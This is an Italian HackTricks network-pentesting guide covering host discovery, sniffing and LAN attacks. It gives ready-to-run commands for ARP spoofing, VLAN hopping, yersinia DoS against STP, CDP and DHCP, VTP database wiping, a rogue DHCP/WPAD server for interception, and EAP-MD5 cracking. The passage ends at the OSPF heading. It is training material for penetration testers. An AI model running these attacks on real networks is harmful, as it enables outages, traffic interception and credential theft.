Pentesting di Rete
Reading time: 40 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Scoprire host dall'esterno
Questa sarà una sezione breve su come trovare IP che rispondono da Internet.
In questa situazione hai un ambito di IP (forse anche diversi intervalli) e devi solo trovare quali IP stanno rispondendo.
ICMP
Questo è il modo più semplice e veloce per scoprire se un host è attivo o meno.
Puoi provare a inviare alcuni pacchetti ICMP e aspettarti risposte. Il modo più semplice è inviare una echo request e aspettarsi la risposta. Puoi farlo usando un semplice ping
o usando fping
per intervalli.
Puoi anche usare nmap per inviare altri tipi di pacchetti ICMP (questo eviterà i filtri sulle comuni echo request/response ICMP).
ping -c 1 199.66.11.4 # 1 echo request to a host
fping -g 199.66.11.0/24 # Send echo requests to ranges
nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet mask requests
TCP Port Discovery
È molto comune trovare che ogni tipo di pacchetti ICMP venga filtrato. Quindi, tutto ciò che puoi fare per verificare se un host è attivo è provare a trovare open ports. Ogni host ha 65535 ports, quindi, se hai un ambito "grande" non puoi testare se each port di ogni host sia open o meno, ci vorrebbe troppo tempo.
Quindi, ciò di cui hai bisogno è un fast port scanner (masscan) e una lista delle ports più usate:
#Using masscan to scan top20ports of nmap in a /24 range (less than 5min)
masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24
Potresti anche eseguire questo passaggio con nmap
, ma è più lento e, in una certa misura, nmap
ha problemi a identificare i hosts up.
Scoperta porte HTTP
Questa è solo una scoperta delle porte TCP utile quando vuoi concentrarti sulla scoperta dei servizi HTTP:
masscan -p80,443,8000-8100,8443 199.66.11.0/24
UDP Port Discovery
Puoi anche provare a verificare se ci sono delle UDP port open per decidere se dovresti prestare più attenzione a un host. Poiché UDP services solitamente don't respond con any data a una normale empty UDP probe packet è difficile dire se una port sia being filtered o open. Il modo più semplice per deciderlo è inviare un packet relativo al running service, e dato che non sai quale service è in esecuzione, dovresti provare il più probabile in base al numero di port:
nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
# The -sV will make nmap test each possible known UDP service packet
# The "--version-intensity 0" will make nmap only test the most probable
La riga di nmap proposta prima testerà le top 1000 UDP ports in ogni host all'interno della /24 range, ma anche solo questo richiederà >20min. Se hai bisogno dei risultati più rapidi puoi usare udp-proto-scanner: ./udp-proto-scanner.pl 199.66.11.53/24
Questo invierà queste UDP probes alla loro expected port (per un intervallo /24 questo richiederà solo 1 min): DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike,ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp.
Scoperta porte SCTP
#Probably useless, but it's pretty fast, why not try it?
nmap -T4 -sY -n --open -Pn <IP/range>
Pentesting Wifi
Qui puoi trovare una buona guida di tutti i ben noti attacchi Wifi al momento della stesura:
Scoprire gli host dall'interno
Se sei all'interno della rete, una delle prime cose che vorrai fare è scoprire altri host. A seconda di quanto rumore puoi/vuoi generare, si possono eseguire azioni diverse:
Passivo
Puoi usare questi strumenti per scoprire in modo passivo gli host all'interno di una rete connessa:
netdiscover -p
p0f -i eth0 -p -o /tmp/p0f.log
# Bettercap
net.recon on/off #Read local ARP cache periodically
net.show
set net.show.meta true #more info
Attivo
Nota che le tecniche commentate in Discovering hosts from the outside (TCP/HTTP/UDP/SCTP Port Discovery) possono essere anche applicate qui.
Ma, dato che sei nella stessa rete degli altri hosts, puoi fare più cose:
#ARP discovery
nmap -sn <Network> #ARP Requests (Discover IPs)
netdiscover -r <Network> #ARP requests (Discover IPs)
#NBT discovery
nbtscan -r 192.168.0.1/24 #Search in Domain
# Bettercap
net.probe on/off #Discover hosts on current subnet by probing with ARP, mDNS, NBNS, UPNP, and/or WSD
set net.probe.mdns true/false #Enable mDNS discovery probes (default=true)
set net.probe.nbns true/false #Enable NetBIOS name service discovery probes (default=true)
set net.probe.upnp true/false #Enable UPNP discovery probes (default=true)
set net.probe.wsd true/false #Enable WSD discovery probes (default=true)
set net.probe.throttle 10 #10ms between probes sent (default=10)
#IPv6
alive6 <IFACE> # Send a pingv6 to multicast.
ICMP Attivo
Nota che le tecniche commentate in Scoprire host dall'esterno (ICMP) possono essere applicate anche qui.
Tuttavia, poiché sei nella stessa rete degli altri host, puoi fare più cose:
- Se esegui ping a un subnet broadcast address il ping dovrebbe arrivare a ogni host e potrebbero rispondere a te:
ping -b 10.10.5.255
- Eseguendo il ping sull'indirizzo broadcast di rete potresti anche trovare host in altre subnet:
ping -b 255.255.255.255
- Usa le flag
-PE
,-PP
,-PM
dinmap
per eseguire host discovery inviando rispettivamente ICMPv4 echo, timestamp, e subnet mask requests:nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24
Wake On Lan
Wake On Lan viene usato per accendere i computer tramite un messaggio di rete.
Il magic packet usato per accendere il computer è semplicemente un pacchetto in cui è fornito un MAC Dst e poi esso viene ripetuto 16 volte all'interno dello stesso pacchetto.
Questi tipi di pacchetti vengono solitamente inviati in un ethernet 0x0842 o in un pacchetto UDP verso la porta 9.
Se nessun [MAC] viene fornito, il pacchetto viene inviato all'ethernet broadcast (e il MAC di broadcast sarà quello ripetuto).
# Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain)
wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0842
wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9
Scansione degli host
Una volta che hai scoperto tutti gli IP (esterni o interni) che vuoi scansionare in profondità, si possono eseguire diverse azioni.
TCP
- Porta aperta: SYN --> SYN/ACK --> RST
- Porta chiusa: SYN --> RST/ACK
- Porta filtrata: SYN --> [NO RESPONSE]
- Porta filtrata: SYN --> messaggio ICMP
# Nmap fast scan for the most 1000tcp ports used
nmap -sV -sC -O -T4 -n -Pn -oA fastscan <IP>
# Nmap fast scan for all the ports
nmap -sV -sC -O -T4 -n -Pn -p- -oA fullfastscan <IP>
# Nmap fast scan for all the ports slower to avoid failures due to -T4
nmap -sV -sC -O -p- -n -Pn -oA fullscan <IP>
#Bettercap Scan
syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000
UDP
Ci sono 2 opzioni per scansionare una porta UDP:
- Inviare un UDP packet e controllare la risposta ICMP unreachable se la porta è chiusa (in molti casi ICMP sarà filtrato, quindi non riceverai informazioni se la porta è chiusa o aperta).
- Inviare datagrammi formattati per ottenere una risposta da un service (es., DNS, DHCP, TFTP e altri, come elencato in nmap-payloads). Se ricevi una risposta, la porta è aperta.
Nmap mescola entrambe le opzioni usando "-sV" (le scansioni UDP sono molto lente), ma nota che le scansioni UDP sono più lente delle scansioni TCP:
# Check if any of the most common udp services is running
udp-proto-scanner.pl <IP>
# Nmap fast check if any of the 100 most common UDP services is running
nmap -sU -sV --version-intensity 0 -n -F -T4 <IP>
# Nmap check if any of the 100 most common UDP services is running and launch defaults scripts
nmap -sU -sV -sC -n -F -T4 <IP>
# Nmap "fast" top 1000 UDP ports
nmap -sU -sV --version-intensity 0 -n -T4 <IP>
# You could use nmap to test all the UDP ports, but that will take a lot of time
Scansione SCTP
SCTP (Stream Control Transmission Protocol) è progettato per essere usato insieme a TCP (Transmission Control Protocol) e UDP (User Datagram Protocol). Il suo scopo principale è facilitare il trasporto di dati di telefonia sulle reti IP, replicando molte delle funzionalità di affidabilità presenti in Signaling System 7 (SS7). SCTP è un componente fondamentale della famiglia di protocolli SIGTRAN, che ha l'obiettivo di trasportare i segnali SS7 sulle reti IP.
Il supporto per SCTP è fornito da vari sistemi operativi, come IBM AIX, Oracle Solaris, HP-UX, Linux, Cisco IOS e VxWorks, indicando la sua ampia diffusione e utilità nel campo delle telecomunicazioni e delle reti.
Due diverse scansioni per SCTP sono offerte da nmap: -sY e -sZ
# Nmap fast SCTP scan
nmap -T4 -sY -n -oA SCTFastScan <IP>
# Nmap all SCTP scan
nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan <IP>
IDS and IPS evasion
Altre opzioni nmap
Rivelare indirizzi IP interni
Misconfigured routers, firewalls, and network devices a volte rispondono a network probes usando indirizzi sorgente non pubblici. tcpdump può essere utilizzato per identificare pacchetti ricevuti da indirizzi privati durante i test. In particolare, su Kali Linux, i pacchetti possono essere catturati sull'eth2 interface, che è accessibile da Internet pubblico. È importante notare che se la tua configurazione è dietro un NAT o un Firewall, tali pacchetti saranno probabilmente filtrati.
tcpdump –nt -i eth2 src net 10 or 172.16/12 or 192.168/16
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth2, link-type EN10MB (Ethernet), capture size 65535 bytes
IP 10.10.0.1 > 185.22.224.18: ICMP echo reply, id 25804, seq 1582, length 64
IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64
Sniffing
Con Sniffing puoi apprendere dettagli relativi a IP ranges, subnet sizes, MAC addresses e hostnames esaminando frames e packets catturati. Se la rete è mal configurata o la switching fabric è sotto stress, gli attackers possono catturare materiale sensibile tramite passive network sniffing.
Se una switched Ethernet network è configurata correttamente, vedrai solo broadcast frames e materiale destinato al tuo MAC address.
TCPDump
sudo tcpdump -i <INTERFACE> udp port 53 #Listen to DNS request to discover what is searching the host
tcpdump -i <IFACE> icmp #Listen to icmp packets
sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &"
È anche possibile catturare pacchetti da una macchina remota tramite una sessione SSH con Wireshark come GUI in tempo reale.
ssh user@<TARGET IP> tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i -
ssh <USERNAME>@<TARGET IP> tcpdump -i <INTERFACE> -U -s0 -w - 'port not 22' | sudo wireshark -k -i - # Exclude SSH traffic
Bettercap
net.sniff on
net.sniff stats
set net.sniff.output sniffed.pcap #Write captured packets to file
set net.sniff.local #If true it will consider packets from/to this computer, otherwise it will skip them (default=false)
set net.sniff.filter #BPF filter for the sniffer (default=not arp)
set net.sniff.regexp #If set only packets matching this regex will be considered
Wireshark
Ovviamente.
Captura credenziali
Puoi usare strumenti come https://github.com/lgandx/PCredz per estrarre credenziali da un pcap o da un'interfaccia live.
Attacchi LAN
ARP spoofing
ARP Spoofing consiste nell'inviare gratuitous ARPResponses per indicare che l'IP di una macchina ha il MAC del nostro dispositivo. Poi, la vittima aggiornerà la tabella ARP e contatterà la nostra macchina ogni volta che vorrà comunicare con l'IP spoofed.
Bettercap
arp.spoof on
set arp.spoof.targets <IP> #Specific targets to ARP spoof (default=<entire subnet>)
set arp.spoof.whitelist #Specific targets to skip while spoofing
set arp.spoof.fullduplex true #If true, both the targets and the gateway will be attacked, otherwise only the target (default=false)
set arp.spoof.internal true #If true, local connections among computers of the network will be spoofed, otherwise only connections going to and coming from the Internet (default=false)
Arpspoof
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -t 192.168.1.1 192.168.1.2
arpspoof -t 192.168.1.2 192.168.1.1
MAC Flooding - CAM overflow
Sovraccarica la CAM table dello switch inviando molti pacchetti con diversi source MAC address. Quando la CAM table è piena lo switch inizia a comportarsi come un hub (trasmettendo tutto il traffico in broadcast).
macof -i <interface>
Su switch moderni questa vulnerabilità è stata corretta.
802.1Q VLAN / DTP Attacchi
Dynamic Trunking
Il Dynamic Trunking Protocol (DTP) è progettato come protocollo del livello di collegamento per facilitare un sistema automatico di trunking, permettendo agli switch di selezionare automaticamente le porte per la modalità trunk (Trunk) o modalità non-trunk. La presenza di DTP è spesso vista come indicativa di un design di rete subottimale, sottolineando l'importanza di configurare manualmente i trunk solo dove necessario e di mantenere una documentazione adeguata.
Per impostazione predefinita, le porte degli switch sono configurate per funzionare in Dynamic Auto mode, il che significa che sono pronte a iniziare il trunking se sollecitate da uno switch vicino. Una preoccupazione di sicurezza emerge quando un pentester o un attacker si collega allo switch e invia un DTP Desirable frame, costringendo la porta a entrare in modalità trunk. Questa azione permette all'attacker di enumerare le VLAN tramite l'analisi dei frame STP e di aggirare la segmentazione VLAN configurando interfacce virtuali.
La presenza di DTP di default su molti switch può essere sfruttata da avversari per emulare il comportamento di uno switch, ottenendo così accesso al traffico di tutte le VLAN. Lo script dtpscan.sh viene usato per monitorare un'interfaccia, rivelando se uno switch si trova in Default, Trunk, Dynamic, Auto o Access mode — quest'ultimo è l'unica configurazione immune ai VLAN hopping attacks. Questo tool valuta lo stato di vulnerabilità dello switch.
Se viene identificata una vulnerabilità della rete, lo strumento Yersinia può essere impiegato per "enable trunking" tramite il protocollo DTP, permettendo l'osservazione dei pacchetti di tutte le VLAN.
apt-get install yersinia #Installation
sudo apt install kali-linux-large #Another way to install it in Kali
yersinia -I #Interactive mode
#In interactive mode you will need to select a interface first
#Then, you can select the protocol to attack using letter "g"
#Finally, you can select the attack using letter "x"
yersinia -G #For graphic mode
Per enumerare le VLAN è anche possibile generare il DTP Desirable frame con lo script DTPHijacking.py. Non interrompere lo script in nessun caso. Inietta DTP Desirable ogni tre secondi. I canali trunk creati dinamicamente sullo switch durano solo cinque minuti. Dopo cinque minuti, il trunk viene rimosso.
sudo python3 DTPHijacking.py --interface eth0
Vorrei sottolineare che Access/Desirable (0x03) indica che il DTP frame è di tipo Desirable, il quale ordina alla porta di passare in Trunk mode. E 802.1Q/802.1Q (0xa5 indica il tipo di incapsulamento 802.1Q.
Analizzando i frame STP, scopriamo l'esistenza delle VLAN 30 e VLAN 60.
.png)
Attacco a VLAN specifiche
Una volta noti gli ID VLAN e gli indirizzi IP, puoi configurare un'interfaccia virtuale per attaccare una VLAN specifica.
Se DHCP non è disponibile, usa ifconfig per impostare un indirizzo IP statico.
root@kali:~# modprobe 8021q
root@kali:~# vconfig add eth1 250
Added VLAN with VID == 250 to IF -:eth1:-
root@kali:~# dhclient eth1.250
Reloading /etc/samba/smb.conf: smbd only.
root@kali:~# ifconfig eth1.250
eth1.250 Link encap:Ethernet HWaddr 00:0e:c6:f0:29:65
inet addr:10.121.5.86 Bcast:10.121.5.255 Mask:255.255.255.0
inet6 addr: fe80::20e:c6ff:fef0:2965/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:19 errors:0 dropped:0 overruns:0 frame:0
TX packets:13 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:2206 (2.1 KiB) TX bytes:1654 (1.6 KiB)
root@kali:~# arp-scan -I eth1.250 10.121.5.0/24
# Another configuration example
modprobe 8021q
vconfig add eth1 20
ifconfig eth1.20 192.168.1.2 netmask 255.255.255.0 up
# Another configuration example
sudo vconfig add eth0 30
sudo ip link set eth0.30 up
sudo dhclient -v eth0.30
Automatic VLAN Hopper
L'attacco descritto relativo a Dynamic Trunking e la creazione di interfacce virtuali e la scoperta di host all'interno di altre VLAN viene eseguito automaticamente dallo strumento: https://github.com/nccgroup/vlan-hopping---frogger
Double Tagging
Se un attacker conosce il valore di MAC, IP and VLAN ID of the victim host, potrebbe provare a double tag a frame con la VLAN designata e la VLAN della victim e inviare un pacchetto. Poiché la victim won't be able to connect back con l'attacker, la migliore opzione per l'attacker è comunicare via UDP verso protocolli che possono svolgere azioni interessanti (come SNMP).
Un'altra opzione per l'attacker è lanciare una TCP port scan spoofing an IP controlled by the attacker and accessible by the victim (probabilmente tramite internet). Poi, l'attacker potrebbe sniff sul secondo host da lui posseduto se riceve dei pacchetti dalla victim.
Per eseguire questo attacco puoi usare scapy: pip install scapy
from scapy.all import *
# Double tagging with ICMP packet (the response from the victim isn't double tagged so it will never reach the attacker)
packet = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=20)/IP(dst='192.168.1.10')/ICMP()
sendp(packet)
Bypass laterale della segmentazione VLAN
Se hai accesso a uno switch a cui sei direttamente connesso, hai la possibilità di bypassare la segmentazione VLAN all'interno della rete. Basta impostare la porta in modalità trunk (nota anche come trunk), creare interfacce virtuali con gli ID delle VLAN di destinazione e configurare un indirizzo IP. Puoi provare a richiedere l'indirizzo dinamicamente (DHCP) o puoi configurarlo staticamente. Dipende dal caso.
Lateral VLAN Segmentation Bypass
Bypass di Private VLAN a Layer 3
In certi ambienti, come le guest wireless, vengono implementate impostazioni di isolamento delle porte (noto anche come private VLAN) per impedire ai client connessi a un access point wireless di comunicare direttamente tra loro. Tuttavia, è stata identificata una tecnica che può aggirare queste misure di isolamento. Questa tecnica sfrutta la mancanza di ACL di rete o la loro configurazione scorretta, permettendo ai pacchetti IP di essere instradati tramite un router per raggiungere un altro client sulla stessa rete.
L'attacco viene eseguito creando un pacchetto che trasporta l'indirizzo IP del client di destinazione ma con l'indirizzo MAC del router. Questo fa sì che il router inoltri erroneamente il pacchetto al client bersaglio. Questo approccio è simile a quello usato nelle Double Tagging Attacks, dove la capacità di controllare un host accessibile alla vittima viene usata per sfruttare la falla di sicurezza.
Passaggi chiave dell'attacco:
- Creazione del pacchetto: Viene creato appositamente un pacchetto che include l'indirizzo IP del client destinatario ma con l'indirizzo MAC del router.
- Sfruttare il comportamento del router: Il pacchetto creato viene inviato al router che, a causa della configurazione, reindirizza il pacchetto al client bersaglio, aggirando l'isolamento fornito dalle impostazioni di private VLAN.
VTP Attacks
VTP (VLAN Trunking Protocol) centralizza la gestione delle VLAN. Utilizza numeri di revisione per mantenere l'integrità del database VLAN; ogni modifica incrementa questo numero. Gli switch adottano configurazioni con numeri di revisione più alti, aggiornando i propri database VLAN.
VTP Domain Roles
- VTP Server: Gestisce le VLAN—crea, elimina, modifica. Trasmette annunci VTP ai membri del dominio.
- VTP Client: Riceve annunci VTP per sincronizzare il proprio database VLAN. Questo ruolo è limitato e non permette modifiche locali alla configurazione delle VLAN.
- VTP Transparent: Non partecipa agli aggiornamenti VTP ma inoltra gli annunci VTP. Non è influenzato dagli attacchi VTP e mantiene un numero di revisione costante pari a zero.
VTP Advertisement Types
- Summary Advertisement: Trasmesso dal VTP server ogni 300 secondi, contiene le informazioni essenziali sul dominio.
- Subset Advertisement: Inviato a seguito di modifiche alla configurazione delle VLAN.
- Advertisement Request: Emesso da un client VTP per richiedere un Summary Advertisement, tipicamente in risposta al rilevamento di un numero di revisione della configurazione più alto.
Le vulnerabilità di VTP sono sfruttabili esclusivamente tramite porte trunk, poiché gli annunci VTP circolano soltanto su di esse. In scenari successivi a un attacco DTP si può passare a VTP. Strumenti come Yersinia possono facilitare attacchi VTP, con l'obiettivo di cancellare il database VLAN, interrompendo di fatto la rete.
Nota: Questa discussione riguarda VTP versione 1 (VTPv1).
yersinia -G # Launch Yersinia in graphical mode
Nella modalità grafica di Yersinia, scegli l'opzione deleting all VTP vlans per purgare il database VLAN.
Attacchi STP
Se non riesci a catturare frame BPDU sulle tue interfacce, è improbabile che tu riesca a portare a termine un attacco STP.
STP BPDU DoS
L'invio di un gran numero di BPDUs TCP (Topology Change Notification) o Conf (i BPDUs che vengono inviati quando la topologia viene creata) sovraccarica gli switch che smettono di funzionare correttamente.
yersinia stp -attack 2
yersinia stp -attack 3
#Use -M to disable MAC spoofing
STP TCP Attack
Quando viene inviato un TCP, la tabella CAM degli switch viene cancellata dopo 15s. Se invii continuamente questo tipo di pacchetti, la tabella CAM verrà ricreata ogni 15s e, quando ciò avviene, lo switch si comporta come un hub.
yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds
yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen
STP Root Attack
Un attaccante simula il comportamento di uno switch per diventare lo STP root della rete. In questo modo, più traffico passerà attraverso di lui. Questo è interessante quando sei connesso a due switch differenti.
Questo viene fatto inviando pacchetti BPDUs CONF che dichiarano che il valore priority è inferiore all'effettiva priority dello switch root attuale.
yersinia stp -attack 4 #Behaves like the root switch
yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root
Se l'attacker è connesso a 2 switches può diventare il root del nuovo tree e tutto il traffico tra quegli switches passerà attraverso di lui (verrà eseguito un MITM attack).
yersinia stp -attack 6 #This will cause a DoS as the layer 2 packets wont be forwarded. You can use Ettercap to forward those packets "Sniff" --> "Bridged sniffing"
ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpackages
CDP Attacks
CISCO Discovery Protocol (CDP) è essenziale per la comunicazione tra dispositivi CISCO, permettendo loro di identificarsi a vicenda e condividere dettagli di configurazione.
Raccolta Dati Passiva
CDP è configurato per trasmettere informazioni attraverso tutte le porte, il che potrebbe comportare un rischio per la sicurezza. Un attacker, una volta connesso a una porta dello switch, potrebbe usare sniffers di rete come Wireshark, tcpdump o Yersinia. Questa operazione può rivelare dati sensibili sul dispositivo di rete, incluso il suo modello e la versione di Cisco IOS in esecuzione. L'attacker potrebbe quindi prendere di mira vulnerabilità specifiche nella versione di Cisco IOS identificata.
Inducing CDP Table Flooding
Un approccio più aggressivo prevede il lancio di un Denial of Service (DoS) sovraccaricando la memoria dello switch, fingendo di essere dispositivi CISCO legittimi. Di seguito la sequenza di comandi per avviare tale attacco usando Yersinia, uno strumento di rete progettato per il testing:
sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO devices
# Alternatively, for a GUI approach:
sudo yersinia -G
Durante questo attacco, la CPU dello switch e la CDP neighbor table sono fortemente sovraccaricate, provocando ciò che viene spesso chiamato “paralisi della rete” a causa dell'eccessivo consumo di risorse.
CDP Impersonation Attack
sudo yersinia cdp -attack 2 #Simulate a new CISCO device
sudo yersinia cdp -attack 0 #Send a CDP packet
Puoi anche usare scapy. Assicurati di installarlo con il pacchetto scapy/contrib
.
Attacchi VoIP e lo strumento VoIP Hopper
I telefoni VoIP, sempre più integrati con dispositivi IoT, offrono funzionalità come lo sblocco di porte o il controllo di termostati tramite numeri di telefono speciali. Tuttavia, questa integrazione può comportare rischi per la sicurezza.
Lo strumento voiphopper è progettato per emulare un telefono VoIP in diversi ambienti (Cisco, Avaya, Nortel, Alcatel-Lucent). Scopre l'ID VLAN della rete voce usando protocolli come CDP, DHCP, LLDP-MED e 802.1Q ARP.
VoIP Hopper offre tre modalità per il Cisco Discovery Protocol (CDP):
- Sniff Mode (
-c 0
): Analizza i pacchetti di rete per identificare l'ID VLAN. - Spoof Mode (
-c 1
): Genera pacchetti personalizzati che imitano quelli di un dispositivo VoIP reale. - Spoof with Pre-made Packet Mode (
-c 2
): Invia pacchetti identici a quelli di un modello specifico di telefono IP Cisco.
La modalità preferita per velocità è la terza. Richiede di specificare:
- L'interfaccia di rete dell'attaccante (parametro
-i
). - Il nome del dispositivo VoIP da emulare (parametro
-E
), seguendo il formato di denominazione Cisco (es. SEP seguito da un indirizzo MAC).
In contesti aziendali, per imitare un dispositivo VoIP esistente, si può:
- Ispezionare l'etichetta MAC sul telefono.
- Navigare le impostazioni del display del telefono per visualizzare le informazioni sul modello.
- Collegare il dispositivo VoIP a un laptop e osservare le richieste CDP con Wireshark.
Un comando di esempio per eseguire lo strumento in terza modalità sarebbe:
voiphopper -i eth1 -E 'SEP001EEEEEEEEE ' -c 2
DHCP Attacks
Enumerazione
nmap --script broadcast-dhcp-discover
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-16 05:30 EDT
WARNING: No targets were specified, so 0 hosts scanned.
Pre-scan script results:
| broadcast-dhcp-discover:
| Response 1 of 1:
| IP Offered: 192.168.1.250
| DHCP Message Type: DHCPOFFER
| Server Identifier: 192.168.1.1
| IP Address Lease Time: 1m00s
| Subnet Mask: 255.255.255.0
| Router: 192.168.1.1
| Domain Name Server: 192.168.1.1
|_ Domain Name: mynet
Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds
DoS
Due tipi di DoS possono essere eseguiti contro i DHCP servers. Il primo consiste nel simulare abbastanza fake hosts da occupare tutti gli indirizzi IP disponibili.\
Questo attacco funzionerà solo se puoi vedere le risposte del DHCP server e completare il protocollo (Discover (Comp) --> Offer (server) --> Request (Comp) --> ACK (server)). Per esempio, questo non è possibile nelle reti Wifi.
Un altro modo per effettuare un DHCP DoS è inviare un pacchetto DHCP-RELEASE usando come IP sorgente ogni possibile indirizzo IP. In questo modo il server penserà che tutti abbiano terminato l'uso degli indirizzi IP.
yersinia dhcp -attack 1
yersinia dhcp -attack 3 #More parameters are needed
Un modo più automatico per farlo è usare lo strumento DHCPing
Puoi usare gli attacchi DoS menzionati per costringere i client a ottenere nuovi lease all'interno dell'ambiente e esaurire i server legittimi rendendoli non reattivi. Così quando i legittimi tenteranno di riconnettersi, potrai fornire i valori malevoli menzionati nell'attacco successivo.
Impostare valori malevoli
Un rogue DHCP server può essere configurato usando lo script DHCP situato in /usr/share/responder/DHCP.py
. Questo è utile per attacchi di rete, come la cattura del traffico HTTP e delle credenziali, reindirizzando il traffico verso un server malevolo. Tuttavia, impostare un rogue gateway è meno efficace poiché permette solo di catturare il traffico in uscita dal client, perdendo le risposte dal gateway reale. È invece raccomandato impostare un rogue DNS o un server WPAD per un attacco più efficace.
Di seguito le opzioni di comando per configurare il rogue DHCP server:
- Il nostro indirizzo IP (annuncio del gateway): Usa
-i 10.0.0.100
per pubblicizzare l'IP della tua macchina come gateway. - Nome dominio DNS locale: Opzionalmente, usa
-d example.org
per impostare un nome di dominio DNS locale. - IP del router/gateway originale: Usa
-r 10.0.0.1
per specificare l'indirizzo IP del router o gateway legittimo. - IP del server DNS primario: Usa
-p 10.0.0.100
per impostare l'IP del server DNS malevolo che controlli. - IP del server DNS secondario: Opzionalmente, usa
-s 10.0.0.1
per impostare un IP di server DNS secondario. - Maschera di rete della rete locale: Usa
-n 255.255.255.0
per definire la netmask per la rete locale. - Interfaccia per il traffico DHCP: Usa
-I eth1
per ascoltare il traffico DHCP su una specifica interfaccia di rete. - Indirizzo di configurazione WPAD: Usa
-w “http://10.0.0.100/wpad.dat”
per impostare l'indirizzo della configurazione WPAD, utile per intercettare il traffico web. - Falsificare l'IP del gateway predefinito: Includi
-S
per falsificare l'indirizzo IP del gateway predefinito. - Rispondere a tutte le richieste DHCP: Includi
-R
per far sì che il server risponda a tutte le richieste DHCP, ma tieni presente che questo è rumoroso e può essere rilevato.
Usando correttamente queste opzioni, è possibile stabilire un rogue DHCP server per intercettare efficacemente il traffico di rete.
# Example to start a rogue DHCP server with specified options
!python /usr/share/responder/DHCP.py -i 10.0.0.100 -d example.org -r 10.0.0.1 -p 10.0.0.100 -s 10.0.0.1 -n 255.255.255.0 -I eth1 -w "http://10.0.0.100/wpad.dat" -S -R
Attacchi EAP
Ecco alcune tattiche di attacco che possono essere usate contro implementazioni 802.1X:
- Brute-force attivo delle password via EAP
- Attaccare il server RADIUS con contenuto EAP malformato **(exploits)
- Cattura dei messaggi EAP e cracking offline delle password (EAP-MD5 e PEAP)
- Forzare l'autenticazione EAP-MD5 per bypassare la validazione del certificato TLS
- Iniettare traffico di rete dannoso al momento dell'autenticazione usando un hub o simili
Se l'attaccante si trova tra la vittima e il server di autenticazione, potrebbe tentare di degradare (se necessario) il protocollo di autenticazione a EAP-MD5 e catturare il tentativo di autenticazione. Successivamente, potrebbe eseguire un brute-force usando:
eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt
FHRP (GLBP & HSRP) Attacks
FHRP (First Hop Redundancy Protocol) è una classe di protocolli di rete progettati per creare un sistema di routing ridondante e attivo. Con FHRP, router fisici possono essere combinati in un unico dispositivo logico, aumentando la tolleranza ai guasti e aiutando a distribuire il carico.
Gli ingegneri di Cisco Systems hanno sviluppato due protocolli FHRP, GLBP e HSRP.
RIP
Si conoscono tre versioni del Routing Information Protocol (RIP): RIP, RIPv2 e RIPng. I datagrammi vengono inviati ai peer tramite UDP sulla porta 520 da RIP e RIPv2, mentre i datagrammi vengono broadcastati sulla porta UDP 521 tramite multicast IPv6 da RIPng. RIPv2 ha introdotto il supporto per l'autenticazione MD5. D'altra parte, RIPng non include autenticazione nativa; si fa invece affidamento agli header IPsec AH e ESP in IPv6.
- RIP e RIPv2: La comunicazione avviene tramite datagrammi UDP sulla porta 520.
- RIPng: Utilizza la porta UDP 521 per il broadcast dei datagrammi via multicast IPv6.
Nota che RIPv2 supporta l'autenticazione MD5 mentre RIPng non include autenticazione nativa, facendo affidamento su IPsec AH e ESP in IPv6.
Attacchi EIGRP
EIGRP (Enhanced Interior Gateway Routing Protocol) è un protocollo di routing dinamico. È un protocollo a vettore di distanza. Se non è presente alcuna autenticazione e non sono configurate interfacce passive, un intruso può interferire con il routing EIGRP e causare routing tables poisoning. Inoltre, la rete EIGRP (in altre parole, l'autonomous system) è piatta e non ha segmentazione in zone. Se un attacker injects a route, è probabile che questa route si diffonda in tutto l'autonomous EIGRP system.
Per attaccare un sistema EIGRP è necessario stabilire un neighbourhood con un router EIGRP legittimo, il che apre molte possibilità, dalla ricognizione di base a varie injection.
FRRouting permette di implementare un virtual router che supporta BGP, OSPF, EIGRP, RIP e altri protocolli. Basta deployarlo sul sistema dell'attaccante e si può effettivamente fingersi un router legittimo nel dominio di routing.
Coly ha capacità di intercettare broadcast EIGRP (Enhanced Interior Gateway Routing Protocol). Permette anche l'injection di pacchetti, che possono essere utilizzati per alterare le configurazioni di routing.
OSPF
